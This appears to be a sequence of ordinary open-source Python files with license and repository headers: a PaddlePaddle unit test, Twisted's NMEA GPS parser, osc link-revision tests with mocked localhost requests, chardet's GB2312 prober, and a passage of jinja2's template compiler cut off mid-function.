(x_data, x_lod), 'Y': (y_data, y_lod)} self.attrs = {'ref_level': 0} class TestSequenceExpandCase3(TestSequenceExpand): def set_data(self): x_data = np.random.uniform(0.1, 1, [4, 1]).astype('float32') x_lod = [[1, 1, 1, 1]] y_data = np.random.uniform(0.1, 1, [8, 1]).astype('float32') y_lod = [[2, 2, 2, 2]] self.inputs = {'X': (x_data, x_lod), 'Y': (y_data, y_lod)} class TestSequenceExpandCase4(TestSequenceExpand): def set_data(self): data = np.random.uniform(0.1, 1, [5 * 2, 1]) x_data = np.array(data).reshape([5, 2]).astype('float32') x_lod = [[2, 3]] y_data = np.random.uniform(0.1, 1, [5, 1]).astype('float32') y_lod = [[2], [2, 3]] self.inputs = {'X': (x_data, x_lod), 'Y': (y_data, y_lod)} if __name__ == '__main__': unittest.main()
apache-2.0
invisiblek/python-for-android
python-modules/twisted/twisted/protocols/gps/nmea.py
59
7970
# -*- test-case-name: twisted.test.test_nmea -*- # Copyright (c) 2001-2009 Twisted Matrix Laboratories. # See LICENSE for details. """NMEA 0183 implementation Maintainer: Bob Ippolito The following NMEA 0183 sentences are currently understood:: GPGGA (fix) GPGLL (position) GPRMC (position and time) GPGSA (active satellites) The following NMEA 0183 sentences require implementation:: None really, the others aren't generally useful or implemented in most devices anyhow Other desired features:: - A NMEA 0183 producer to emulate GPS devices (?) """ import operator from twisted.protocols import basic from twisted.python.compat import reduce POSFIX_INVALID, POSFIX_SPS, POSFIX_DGPS, POSFIX_PPS = 0, 1, 2, 3 MODE_AUTO, MODE_FORCED = 'A', 'M' MODE_NOFIX, MODE_2D, MODE_3D = 1, 2, 3 class InvalidSentence(Exception): pass class InvalidChecksum(Exception): pass class NMEAReceiver(basic.LineReceiver): """This parses most common NMEA-0183 messages, presumably from a serial GPS device at 4800 bps """ delimiter = '\r\n' dispatch = { 'GPGGA': 'fix', 'GPGLL': 'position', 'GPGSA': 'activesatellites', 'GPRMC': 'positiontime', 'GPGSV': 'viewsatellites', # not implemented 'GPVTG': 'course', # not implemented 'GPALM': 'almanac', # not implemented 'GPGRS': 'range', # not implemented 'GPGST': 'noise', # not implemented 'GPMSS': 'beacon', # not implemented 'GPZDA': 'time', # not implemented } # generally you may miss the beginning of the first message ignore_invalid_sentence = 1 # checksums shouldn't be invalid ignore_checksum_mismatch = 0 # ignore unknown sentence types ignore_unknown_sentencetypes = 0 # do we want to even bother checking to see if it's from the 20th century? convert_dates_before_y2k = 1 def lineReceived(self, line): if not line.startswith('$'): if self.ignore_invalid_sentence: return raise InvalidSentence("%r does not begin with $" % (line,)) # message is everything between $ and *, checksum is xor of all ASCII values of the message strmessage, checksum = line[1:].strip().split('*') message = strmessage.split(',') sentencetype, message = message[0], message[1:] dispatch = self.dispatch.get(sentencetype, None) if (not dispatch) and (not self.ignore_unknown_sentencetypes): raise InvalidSentence("sentencetype %r" % (sentencetype,)) if not self.ignore_checksum_mismatch: checksum, calculated_checksum = int(checksum, 16), reduce(operator.xor, map(ord, strmessage)) if checksum != calculated_checksum: raise InvalidChecksum("Given 0x%02X != 0x%02X" % (checksum, calculated_checksum)) handler = getattr(self, "handle_%s" % dispatch, None) decoder = getattr(self, "decode_%s" % dispatch, None) if not (dispatch and handler and decoder): # missing dispatch, handler, or decoder return # return handler(*decoder(*message)) try: decoded = decoder(*message) except Exception, e: raise InvalidSentence("%r is not a valid %s (%s) sentence" % (line, sentencetype, dispatch)) return handler(*decoded) def decode_position(self, latitude, ns, longitude, ew, utc, status): latitude, longitude = self._decode_latlon(latitude, ns, longitude, ew) utc = self._decode_utc(utc) if status == 'A': status = 1 else: status = 0 return ( latitude, longitude, utc, status, ) def decode_positiontime(self, utc, status, latitude, ns, longitude, ew, speed, course, utcdate, magvar, magdir): utc = self._decode_utc(utc) latitude, longitude = self._decode_latlon(latitude, ns, longitude, ew) if speed != '': speed = float(speed) else: speed = None if course != '': course = float(course) else: course = None utcdate = 2000+int(utcdate[4:6]), int(utcdate[2:4]), int(utcdate[0:2]) if self.convert_dates_before_y2k and utcdate[0] > 2073: # GPS was invented by the US DoD in 1973, but NMEA uses 2 digit year. # Highly unlikely that we'll be using NMEA or this twisted module in 70 years, # but remotely possible that you'll be using it to play back data from the 20th century. utcdate = (utcdate[0] - 100, utcdate[1], utcdate[2]) if magvar != '': magvar = float(magvar) if magdir == 'W': magvar = -magvar else: magvar = None return ( latitude, longitude, speed, course, # UTC seconds past utcdate utc, # UTC (year, month, day) utcdate, # None or magnetic variation in degrees (west is negative) magvar, ) def _decode_utc(self, utc): utc_hh, utc_mm, utc_ss = map(float, (utc[:2], utc[2:4], utc[4:])) return utc_hh * 3600.0 + utc_mm * 60.0 + utc_ss def _decode_latlon(self, latitude, ns, longitude, ew): latitude = float(latitude[:2]) + float(latitude[2:])/60.0 if ns == 'S': latitude = -latitude longitude = float(longitude[:3]) + float(longitude[3:])/60.0 if ew == 'W': longitude = -longitude return (latitude, longitude) def decode_activesatellites(self, mode1, mode2, *args): satellites, (pdop, hdop, vdop) = args[:12], map(float, args[12:]) satlist = [] for n in satellites: if n: satlist.append(int(n)) else: satlist.append(None) mode = (mode1, int(mode2)) return ( # satellite list by channel tuple(satlist), # (MODE_AUTO/MODE_FORCED, MODE_NOFIX/MODE_2DFIX/MODE_3DFIX) mode, # position dilution of precision pdop, # horizontal dilution of precision hdop, # vertical dilution of precision vdop, ) def decode_fix(self, utc, latitude, ns, longitude, ew, posfix, satellites, hdop, altitude, altitude_units, geoid_separation, geoid_separation_units, dgps_age, dgps_station_id): latitude, longitude = self._decode_latlon(latitude, ns, longitude, ew) utc = self._decode_utc(utc) posfix = int(posfix) satellites = int(satellites) hdop = float(hdop) altitude = (float(altitude), altitude_units) if geoid_separation != '': geoid = (float(geoid_separation), geoid_separation_units) else: geoid = None if dgps_age != '': dgps = (float(dgps_age), dgps_station_id) else: dgps = None return ( # seconds since 00:00 UTC utc, # latitude (degrees) latitude, # longitude (degrees) longitude, # position fix status (POSFIX_INVALID, POSFIX_SPS, POSFIX_DGPS, POSFIX_PPS) posfix, # number of satellites used for fix 0 <= satellites <= 12 satellites, # horizontal dilution of precision hdop, # None or (altitude according to WGS-84 ellipsoid, units (typically 'M' for meters)) altitude, # None or (geoid separation according to WGS-84 ellipsoid, units (typically 'M' for meters)) geoid, # (age of dgps data in seconds, dgps station id) dgps, )
apache-2.0
cav71/osc
tests/test_setlinkrev.py
14
4652
import osc.core import osc.oscerr import os from common import GET, PUT, OscTestCase FIXTURES_DIR = os.path.join(os.getcwd(), 'setlinkrev_fixtures') def suite(): import unittest return unittest.makeSuite(TestSetLinkRev) class TestSetLinkRev(OscTestCase): def setUp(self): OscTestCase.setUp(self, copytree=False) def _get_fixtures_dir(self): return FIXTURES_DIR @GET('http://localhost/source/osctest/simple/_link', file='simple_link') @GET('http://localhost/source/srcprj/srcpkg?rev=latest', file='simple_filesremote') @PUT('http://localhost/source/osctest/simple/_link', exp='<link package="srcpkg" project="srcprj" rev="42" />', text='dummytext') def test_simple1(self): """a simple set_link_rev call without revision""" osc.core.set_link_rev('http://localhost', 'osctest', 'simple') @GET('http://localhost/source/osctest/simple/_link', file='simple_link') @PUT('http://localhost/source/osctest/simple/_link', exp='<link package="srcpkg" project="srcprj" rev="42" />', text='dummytext') def test_simple2(self): """a simple set_link_rev call with revision""" osc.core.set_link_rev('http://localhost', 'osctest', 'simple', '42') @GET('http://localhost/source/osctest/simple/_link', file='noproject_link') @GET('http://localhost/source/osctest/srcpkg?rev=latest&expand=1', file='expandedsrc_filesremote') @PUT('http://localhost/source/osctest/simple/_link', exp='<link package="srcpkg" rev="eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee" vrev="1" />', text='dummytext') def test_expandedsrc(self): """expand src package""" osc.core.set_link_rev('http://localhost', 'osctest', 'simple', expand=True) @GET('http://localhost/source/osctest/simple/_link', file='link_with_rev') @GET('http://localhost/source/srcprj/srcpkg?rev=latest', file='simple_filesremote') @PUT('http://localhost/source/osctest/simple/_link', exp='<link package="srcpkg" project="srcprj" rev="42" />', text='dummytext') def test_existingrev(self): """link already has a rev attribute, update it to current version""" # we could also avoid the superfluous PUT osc.core.set_link_rev('http://localhost', 'osctest', 'simple') @GET('http://localhost/source/osctest/simple/_link', file='link_with_rev') @GET('http://localhost/source/srcprj/srcpkg?rev=latest&expand=1', file='expandedsrc_filesremote') @PUT('http://localhost/source/osctest/simple/_link', exp='<link package="srcpkg" project="srcprj" rev="eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee" vrev="1" />', text='dummytext') def test_expandexistingrev(self): """link already has a rev attribute, update it to current version""" osc.core.set_link_rev('http://localhost', 'osctest', 'simple', expand=True) @GET('http://localhost/source/osctest/simple/_link', file='simple_link') @GET('http://localhost/source/srcprj/srcpkg?rev=latest&expand=1', text='conflict in file merge', code=400) def test_linkerror(self): """link is broken""" try: from urllib.error import HTTPError except ImportError: from urllib2 import HTTPError # the backend returns status 400 if we try to expand a broken _link self.assertRaises(HTTPError, osc.core.set_link_rev, 'http://localhost', 'osctest', 'simple', expand=True) @GET('http://localhost/source/osctest/simple/_link', file='rev_link') @PUT('http://localhost/source/osctest/simple/_link', exp='<link package="srcpkg" project="srcprj" />', text='dummytext') def test_deleterev(self): """delete rev attribute from link xml""" osc.core.set_link_rev('http://localhost', 'osctest', 'simple', revision=None) @GET('http://localhost/source/osctest/simple/_link', file='md5_rev_link') @PUT('http://localhost/source/osctest/simple/_link', exp='<link package="srcpkg" project="srcprj" />', text='dummytext') def test_deleterev(self): """delete rev and vrev attribute from link xml""" osc.core.set_link_rev('http://localhost', 'osctest', 'simple', revision=None) @GET('http://localhost/source/osctest/simple/_link', file='simple_link') @PUT('http://localhost/source/osctest/simple/_link', exp='<link package="srcpkg" project="srcprj" />', text='dummytext') def test_deleterevnonexistent(self): """delete non existent rev attribute from link xml""" osc.core.set_link_rev('http://localhost', 'osctest', 'simple', revision=None) if __name__ == '__main__': import unittest unittest.main()
gpl-2.0
twlizer/plugin.video.Pseudonymous
chardet/gb2312prober.py
231
1722
######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .mbcharsetprober import MultiByteCharSetProber from .codingstatemachine import CodingStateMachine from .chardistribution import GB2312DistributionAnalysis from .mbcssm import GB2312SMModel class GB2312Prober(MultiByteCharSetProber): def __init__(self): MultiByteCharSetProber.__init__(self) self._mCodingSM = CodingStateMachine(GB2312SMModel) self._mDistributionAnalyzer = GB2312DistributionAnalysis() self.reset() def get_charset_name(self): return "GB2312"
gpl-2.0
gfreed/android_external_chromium-org
third_party/jinja2/compiler.py
121
61899
# -*- coding: utf-8 -*- """ jinja2.compiler ~~~~~~~~~~~~~~~ Compiles nodes into python code. :copyright: (c) 2010 by the Jinja Team. :license: BSD, see LICENSE for more details. """ from cStringIO import StringIO from itertools import chain from copy import deepcopy from jinja2 import nodes from jinja2.nodes import EvalContext from jinja2.visitor import NodeVisitor from jinja2.exceptions import TemplateAssertionError from jinja2.utils import Markup, concat, escape, is_python_keyword, next operators = { 'eq': '==', 'ne': '!=', 'gt': '>', 'gteq': '>=', 'lt': '<', 'lteq': '<=', 'in': 'in', 'notin': 'not in' } try: exec '(0 if 0 else 0)' except SyntaxError: have_condexpr = False else: have_condexpr = True # what method to iterate over items do we want to use for dict iteration # in generated code? on 2.x let's go with iteritems, on 3.x with items if hasattr(dict, 'iteritems'): dict_item_iter = 'iteritems' else: dict_item_iter = 'items' # does if 0: dummy(x) get us x into the scope? def unoptimize_before_dead_code(): x = 42 def f(): if 0: dummy(x) return f unoptimize_before_dead_code = bool(unoptimize_before_dead_code().func_closure) def generate(node, environment, name, filename, stream=None, defer_init=False): """Generate the python source for a node tree.""" if not isinstance(node, nodes.Template): raise TypeError('Can\'t compile non template nodes') generator = CodeGenerator(environment, name, filename, stream, defer_init) generator.visit(node) if stream is None: return generator.stream.getvalue() def has_safe_repr(value): """Does the node have a safe representation?""" if value is None or value is NotImplemented or value is Ellipsis: return True if isinstance(value, (bool, int, long, float, complex, basestring, xrange, Markup)): return True if isinstance(value, (tuple, list, set, frozenset)): for item in value: if not has_safe_repr(item): return False return True elif isinstance(value, dict): for key, value in value.iteritems(): if not has_safe_repr(key): return False if not has_safe_repr(value): return False return True return False def find_undeclared(nodes, names): """Check if the names passed are accessed undeclared. The return value is a set of all the undeclared names from the sequence of names found. """ visitor = UndeclaredNameVisitor(names) try: for node in nodes: visitor.visit(node) except VisitorExit: pass return visitor.undeclared class Identifiers(object): """Tracks the status of identifiers in frames.""" def __init__(self): # variables that are known to be declared (probably from outer # frames or because they are special for the frame) self.declared = set() # undeclared variables from outer scopes self.outer_undeclared = set() # names that are accessed without being explicitly declared by # this one or any of the outer scopes. Names can appear both in # declared and undeclared. self.undeclared = set() # names that are declared locally self.declared_locally = set() # names that are declared by parameters self.declared_parameter = set() def add_special(self, name): """Register a special name like `loop`.""" self.undeclared.discard(name) self.declared.add(name) def is_declared(self, name): """Check if a name is declared in this or an outer scope.""" if name in self.declared_locally or name in self.declared_parameter: return True return name in self.declared def copy(self): return deepcopy(self) class Frame(object): """Holds compile time information for us.""" def __init__(self, eval_ctx, parent=None): self.eval_ctx = eval_ctx self.identifiers = Identifiers() # a toplevel frame is the root + soft frames such as if conditions. self.toplevel = False # the root frame is basically just the outermost frame, so no if # conditions. This information is used to optimize inheritance # situations. self.rootlevel = False # in some dynamic inheritance situations the compiler needs to add # write tests around output statements. self.require_output_check = parent and parent.require_output_check # inside some tags we are using a buffer rather than yield statements. # this for example affects {% filter %} or {% macro %}. If a frame # is buffered this variable points to the name of the list used as # buffer. self.buffer = None # the name of the block we're in, otherwise None. self.block = parent and parent.block or None # a set of actually assigned names self.assigned_names = set() # the parent of this frame self.parent = parent if parent is not None: self.identifiers.declared.update( parent.identifiers.declared | parent.identifiers.declared_parameter | parent.assigned_names ) self.identifiers.outer_undeclared.update( parent.identifiers.undeclared - self.identifiers.declared ) self.buffer = parent.buffer def copy(self): """Create a copy of the current one.""" rv = object.__new__(self.__class__) rv.__dict__.update(self.__dict__) rv.identifiers = object.__new__(self.identifiers.__class__) rv.identifiers.__dict__.update(self.identifiers.__dict__) return rv def inspect(self, nodes): """Walk the node and check for identifiers. If the scope is hard (eg: enforce on a python level) overrides from outer scopes are tracked differently. """ visitor = FrameIdentifierVisitor(self.identifiers) for node in nodes: visitor.visit(node) def find_shadowed(self, extra=()): """Find all the shadowed names. extra is an iterable of variables that may be defined with `add_special` which may occour scoped. """ i = self.identifiers return (i.declared | i.outer_undeclared) & \ (i.declared_locally | i.declared_parameter) | \ set(x for x in extra if i.is_declared(x)) def inner(self): """Return an inner frame.""" return Frame(self.eval_ctx, self) def soft(self): """Return a soft frame. A soft frame may not be modified as standalone thing as it shares the resources with the frame it was created of, but it's not a rootlevel frame any longer. """ rv = self.copy() rv.rootlevel = False return rv __copy__ = copy class VisitorExit(RuntimeError): """Exception used by the `UndeclaredNameVisitor` to signal a stop.""" class DependencyFinderVisitor(NodeVisitor): """A visitor that collects filter and test calls.""" def __init__(self): self.filters = set() self.tests = set() def visit_Filter(self, node): self.generic_visit(node) self.filters.add(node.name) def visit_Test(self, node): self.generic_visit(node) self.tests.add(node.name) def visit_Block(self, node): """Stop visiting at blocks.""" class UndeclaredNameVisitor(NodeVisitor): """A visitor that checks if a name is accessed without being declared. This is different from the frame visitor as it will not stop at closure frames. """ def __init__(self, names): self.names = set(names) self.undeclared = set() def visit_Name(self, node): if node.ctx == 'load' and node.name in self.names: self.undeclared.add(node.name) if self.undeclared == self.names: raise VisitorExit() else: self.names.discard(node.name) def visit_Block(self, node): """Stop visiting a blocks.""" class FrameIdentifierVisitor(NodeVisitor): """A visitor for `Frame.inspect`.""" def __init__(self, identifiers): self.identifiers = identifiers def visit_Name(self, node): """All assignments to names go through this function.""" if node.ctx == 'store': self.identifiers.declared_locally.add(node.name) elif node.ctx == 'param': self.identifiers.declared_parameter.add(node.name) elif node.ctx == 'load' and not \ self.identifiers.is_declared(node.name): self.identifiers.undeclared.add(node.name) def visit_If(self, node): self.visit(node.test) real_identifiers = self.identifiers old_names = real_identifiers.declared_locally | \ real_identifiers.declared_parameter def inner_visit(nodes): if not nodes: return set() self.identifiers = real_identifiers.copy() for subnode in nodes: self.visit(subnode) rv = self.identifiers.declared_locally - old_names # we have to remember the undeclared variables of this branch # because we will have to pull them. real_identifiers.undeclared.update(self.identifiers.undeclared) self.identifiers = real_identifiers return rv body = inner_visit(node.body) else_ = inner_visit(node.else_ or ()) # the differences between the two branches are also pulled as # undeclared variables real_identifiers.undeclared.update(body.symmetric_difference(else_) - real_identifiers.declared) # remember those that are declared. real_identifiers.declared_locally.update(body | else_) def visit_Macro(self, node): self.identifiers.declared_locally.add(node.name) def visit_Import(self, node): self.generic_visit(node) self.identifiers.declared_locally.add(node.target) def visit_FromImport(self, node): self.generic_visit(node) for name in node.names: if isinstance(name, tuple): self.identifiers.declared_locally.add(name[1]) else: self.identifiers.declared_locally.add(name) def visit_Assign(self, node): """Visit assignments in the correct order.""" self.visit(node.node) self.visit(node.target) def visit_For(self, node): """Visiting stops at for blocks. However the block sequence is visited as part of the outer scope. """ self.visit(node.iter) def visit_CallBlock(self, node): self.visit(node.call) def visit_FilterBlock(self, node): self.visit(node.filter) def visit_Scope(self, node): """Stop visiting at scopes.""" def visit_Block(self, node): """Stop visiting at blocks.""" class CompilerExit(Exception): """Raised if the compiler encountered a situation where it just doesn't make sense to further process the code. Any block that raises such an exception is not further processed. """ class CodeGenerator(NodeVisitor): def __init__(self, environment, name, filename, stream=None, defer_init=False): if stream is None: stream = StringIO() self.environment = environment self.name = name self.filename = filename self.stream = stream self.created_block_context = False self.defer_init = defer_init # aliases for imports self.import_aliases = {} # a registry for all blocks. Because blocks are moved out # into the global python scope they are registered here self.blocks = {} # the number of extends statements so far self.extends_so_far = 0 # some templates have a rootlevel extends. In this case we # can safely assume that we're a child template and do some # more optimizations. self.has_known_extends = False # the current line number self.code_lineno = 1 # registry of all filters and tests (global, not block local) self.tests = {} self.filters = {} # the debug information self.debug_info = [] self._write_debug_info = None # the number of new lines before the next write() self._new_lines = 0 # the line number of the last written statement self._last_line = 0 # true if nothing was written so far. self._first_write = True # used by the `temporary_identifier` method to get new # unique, temporary identifier self._last_identifier = 0 # the current indentation self._indentation = 0 # -- Various compilation helpers def fail(self, msg, lineno): """Fail with a :exc:`TemplateAssertionError`.""" raise TemplateAssertionError(msg, lineno, self.name, self.filename) def temporary_identifier(self): """Get a new unique identifier.""" self._last_identifier += 1 return 't_%d' % self._last_identifier def buffer(self, frame): """Enable buffering for the frame from that point onwards.""" frame.buffer = self.temporary_identifier() self.writeline('%s = []' % frame.buffer) def return_buffer_contents(self, frame): """Return the buffer contents of the frame.""" if frame.eval_ctx.volatile: self.writeline('if context.eval_ctx.autoescape:') self.indent() self.writeline('return Markup(concat(%s))' % frame.buffer) self.outdent() self.writeline('else:') self.indent() self.writeline('return concat(%s)' % frame.buffer) self.outdent() elif frame.eval_ctx.autoescape: self.writeline('return Markup(concat(%s))' % frame.buffer) else: self.writeline('return concat(%s)' % frame.buffer) def indent(self): """Indent by one.""" self._indentation += 1 def outdent(self, step=1): """Outdent by step.""" self._indentation -= step def start_write(self, frame, node=None): """Yield or write into the frame buffer.""" if frame.buffer is None: self.writeline('yield ', node) else: self.writeline('%s.append(' % frame.buffer, node) def end_write(self, frame): """End the writing process started by `start_write`.""" if frame.buffer is not None: self.write(')') def simple_write(self, s, frame, node=None): """Simple shortcut for start_write + write + end_write.""" self.start_write(frame, node) self.write(s) self.end_write(frame) def blockvisit(self, nodes, frame): """Visit a list of nodes as block in a frame. If the current frame is no buffer a dummy ``if 0: yield None`` is written automatically unless the force_generator parameter is set to False. """ if frame.buffer is None: self.writeline('if 0: yield None') else: self.writeline('pass') try: for node in nodes: self.visit(node, frame) except CompilerExit: pass def write(self, x): """Write a string into the output stream.""" if self._new_lines: if not self._first_write: self.stream.write('\n' * self._new_lines) self.code_lineno += self._new_lines if self._write_debug_info is not None: self.debug_info.append((self._write_debug_info, self.code_lineno)) self._write_debug_info = None self._first_write = False self.stream.write(' ' * self._indentation) self._new_lines = 0 self.stream.write(x) def writeline(self, x, node=None, extra=0): """Combination of newline and write.""" self.newline(node, extra) self.write(x) def newline(self, node=None, extra=0): """Add one or more newlines before the next write.""" self._new_lines = max(self._new_lines, 1 + extra) if node is not None and node.lineno != self._last_line: self._write_debug_info = node.lineno self._last_line = node.lineno def signature(self, node, frame, extra_kwargs=None): """Writes a function call to the stream for the current node. A leading comma is added automatically. The extra keyword arguments may not include python keywords otherwise a syntax error could occour. The extra keyword arguments should be given as python dict. """ # if any of the given keyword arguments is a python keyword # we have to make sure that no invalid call is created. kwarg_workaround = False for kwarg in chain((x.key for x in node.kwargs), extra_kwargs or ()): if is_python_keyword(kwarg): kwarg_workaround = True break for arg in node.args: self.write(', ') self.visit(arg, frame) if not kwarg_workaround: for kwarg in node.kwargs: self.write(', ') self.visit(kwarg, frame) if extra_kwargs is not None: for key, value in extra_kwargs.iteritems(): self.write(', %s=%s' % (key, value)) if node.dyn_args: self.write(', *') self.visit(node.dyn_args, frame) if kwarg_workaround: if node.dyn_kwargs is not None: self.write(', **dict({') else: self.write(', **{') for kwarg in node.kwargs: self.write('%r: ' % kwarg.key) self.visit(kwarg.value, frame) self.write(', ') if extra_kwargs is not None: for key, value in extra_kwargs.iteritems(): self.write('%r: %s, ' % (key, value)) if node.dyn_kwargs is not None: self.write('}, **') self.visit(node.dyn_kwargs, frame) self.write(')') else: self.write('}') elif node.dyn_kwargs is not None: self.write(', **') self.visit(node.dyn_kwargs, frame) def pull_locals(self, frame): """Pull all the references identifiers into the local scope.""" for name in frame.identifiers.undeclared: self.writeline('l_%s = context.resolve(%r)' % (name, name)) def pull_dependencies(self, nodes): """Pull all the dependencies.""" visitor = DependencyFinderVisitor() for node in nodes: visitor.visit(node) for dependency in 'filters', 'tests': mapping = getattr(self, dependency) for name in getattr(visitor, dependency): if name not in mapping: mapping[name] = self.temporary_identifier() self.writeline('%s = environment.%s[%r]' % (mapping[name], dependency, name)) def unoptimize_scope(self, frame): """Disable Python optimizations for the frame.""" # XXX: this is not that nice but it has no real overhead. It # mainly works because python finds the locals before dead code # is removed. If that breaks we have to add a dummy function # that just accepts the arguments and does nothing. if frame.identifiers.declared: self.writeline('%sdummy(%s)' % ( unoptimize_before_dead_code and 'if 0: ' or '', ', '.join('l_' + name for name in frame.identifiers.declared) )) def push_scope(self, frame, extra_vars=()): """This function returns all the shadowed variables in a dict in the form name: alias and will write the required assignments into the current scope. No indentation takes place. This also predefines locally declared variables from the loop body because under some circumstances it may be the case that `extra_vars` is passed to `Frame.find_shadowed`. """ aliases = {} for name in frame.find_shadowed(extra_vars): aliases[name] = ident = self.temporary_identifier() self.writeline('%s = l_%s' % (ident, name)) to_declare = set() for name in frame.identifiers.declared_locally: if name not in aliases: to_declare.add('l_' + name) if to_declare: self.writeline(' = '.join(to_declare) + ' = missing') return aliases def pop_scope(self, aliases, frame): """Restore all aliases and delete unused variables.""" for name, alias in aliases.iteritems(): self.writeline('l_%s = %s' % (name, alias)) to_delete = set() for name in frame.identifiers.declared_locally: if name not in aliases: to_delete.add('l_' + name) if to_delete: # we cannot use the del statement here because enclosed # scopes can trigger a SyntaxError: # a = 42; b = lambda: a; del a self.writeline(' = '.join(to_delete) + ' = missing') def function_scoping(self, node, frame, children=None, find_special=True): """In Jinja a few statements require the help of anonymous functions. Those are currently macros and call blocks and in the future also recursive loops. As there is currently technical limitation that doesn't allow reading and writing a variable in a scope where the initial value is coming from an outer scope, this function tries to fall back with a common error message. Additionally the frame passed is modified so that the argumetns are collected and callers are looked up. This will return the modified frame. """ # we have to iterate twice over it, make sure that works if children is None: children = node.iter_child_nodes() children = list(children) func_frame = frame.inner() func_frame.inspect(children) # variables that are undeclared (accessed before declaration) and # declared locally *and* part of an outside scope raise a template # assertion error. Reason: we can't generate reasonable code from # it without aliasing all the variables. # this could be fixed in Python 3 where we have the nonlocal # keyword or if we switch to bytecode generation overriden_closure_vars = ( func_frame.identifiers.undeclared & func_frame.identifiers.declared & (func_frame.identifiers.declared_locally | func_frame.identifiers.declared_parameter) ) if overriden_closure_vars: self.fail('It\'s not possible to set and access variables ' 'derived from an outer scope! (affects: %s)' % ', '.join(sorted(overriden_closure_vars)), node.lineno) # remove variables from a closure from the frame's undeclared # identifiers. func_frame.identifiers.undeclared -= ( func_frame.identifiers.undeclared & func_frame.identifiers.declared ) # no special variables for this scope, abort early if not find_special: return func_frame func_frame.accesses_kwargs = False func_frame.accesses_varargs = False func_frame.accesses_caller = False func_frame.arguments = args = ['l_' + x.name for x in node.args] undeclared = find_undeclared(children, ('caller', 'kwargs', 'varargs')) if 'caller' in undeclared: func_frame.accesses_caller = True func_frame.identifiers.add_special('caller') args.append('l_caller') if 'kwargs' in undeclared: func_frame.accesses_kwargs = True func_frame.identifiers.add_special('kwargs') args.append('l_kwargs') if 'varargs' in undeclared: func_frame.accesses_varargs = True func_frame.identifiers.add_special('varargs') args.append('l_varargs') return func_frame def macro_body(self, node, frame, children=None): """Dump the function def of a macro or call block.""" frame = self.function_scoping(node, frame, children) # macros are delayed, they never require output checks frame.require_output_check = False args = frame.arguments # XXX: this is an ugly fix for the loop nesting bug # (tests.test_old_bugs.test_loop_call_bug). This works around # a identifier nesting problem we have in general. It's just more # likely to happen in loops which is why we work around it. The # real solution would be "nonlocal" all the identifiers that are # leaking into a new python frame and might be used both unassigned # and assigned. if 'loop' in frame.identifiers.declared: args = args + ['l_loop=l_loop'] self.writeline('def macro(%s):' % ', '.join(args), node) self.indent() self.buffer(frame) self.pull_locals(frame) self.blockvisit(node.body, frame) self.return_buffer_contents(frame) self.outdent() return frame def macro_def(self, node, frame): """Dump the macro definition for the def created by macro_body.""" arg_tuple = ', '.join(repr(x.name) for x in node.args) name = getattr(node, 'name', None) if len(node.args) == 1: arg_tuple += ',' self.write('Macro(environment, macro, %r, (%s), (' % (name, arg_tuple)) for arg in node.defaults: self.visit(arg, frame) self.write(', ') self.write('), %r, %r, %r)' % ( bool(frame.accesses_kwargs), bool(frame.accesses_varargs), bool(frame.accesses_caller) )) def position(self, node): """Return a human readable position for the node.""" rv = 'line %d' % node.lineno if self.name is not None: rv += ' in ' + repr(self.name) return rv # -- Statement Visitors def visit_Template(self, node, frame=None): assert frame is None, 'no root frame allowed' eval_ctx = EvalContext(self.environment, self.name) from jinja2.runtime import __all__ as exported self.writeline('from __future__ import division') self.writeline('from jinja2.runtime import ' + ', '.join(exported)) if not unoptimize_before_dead_code: self.writeline('dummy = lambda *x: None') # if we want a deferred initialization we cannot move the # environment into a local name envenv = not self.defer_init and ', environment=environment' or '' # do we have an extends tag at all? If not, we can save some # overhead by just not processing any inheritance code. have_extends = node.find(nodes.Extends) is not None # find all blocks for block in node.find_all(nodes.Block): if block.name in self.blocks: self.fail('block %r defined twice' % block.name, block.lineno) self.blocks[block.name] = block # find all imports and import them for import_ in node.find_all(nodes.ImportedName): if import_.importname not in self.import_aliases: imp = import_.importname self.import_aliases[imp] = alias = self.temporary_identifier() if '.' in imp: module, obj = imp.rsplit('.', 1) self.writeline('from %s import %s as %s' % (module, obj, alias)) else: self.writeline('import %s as %s' % (imp, alias)) # add the load name self.writeline('name = %r' % self.name) # generate the root render function. self.writeline('def root(context%s):' % envenv, extra=1) # process the root frame = Frame(eval_ctx) frame.inspect(node.body) frame.toplevel = frame.rootlevel = True frame.require_output_check = have_extends and not self.has_known_extends self.indent() if have_extends: self.writeline('parent_template = None') if 'self' in find_undeclared(node.body, ('self',)): frame.identifiers.add_special('self') self.writeline('l_self = TemplateReference(context)') self.pull_locals(frame) self.pull_dependencies(node.body) self.blockvisit(node.body, frame) self.outdent() # make sure that the parent root is called. if have_extends: if not self.has_known_extends: self.indent() self.writeline('if parent_template is not None:') self.indent() self.writeline('for event in parent_template.' 'root_render_func(context):') self.indent() self.writeline('yield event') self.outdent(2 + (not self.has_known_extends)) # at this point we now have the blocks collected and can visit them too. for name, block in self.blocks.iteritems(): block_frame = Frame(eval_ctx) block_frame.inspect(block.body) block_frame.block = name self.writeline('def block_%s(context%s):' % (name, envenv), block, 1) self.indent() undeclared = find_undeclared(block.body, ('self', 'super')) if 'self' in undeclared: block_frame.identifiers.add_special('self') self.writeline('l_self = TemplateReference(context)') if 'super' in undeclared: block_frame.identifiers.add_special('super') self.writeline('l_super = context.super(%r, ' 'block_%s)' % (name, name)) self.pull_locals(block_frame) self.pull_dependencies(block.body) self.blockvisit(block.body, block_frame) self.outdent() self.writeline('blocks = {%s}' % ', '.join('%r: block_%s' % (x, x) for x in self.blocks), extra=1) # add a function that returns the debug info self.writeline('debug_info = %r' % '&'.join('%s=%s' % x for x in self.debug_info)) def visit_Block(self, node, frame): """Call a block and register it for the template.""" level = 1 if frame.toplevel: # if we know that we are a child template, there is no need to # check if we are one if self.has_known_extends: return if self.extends_so_far > 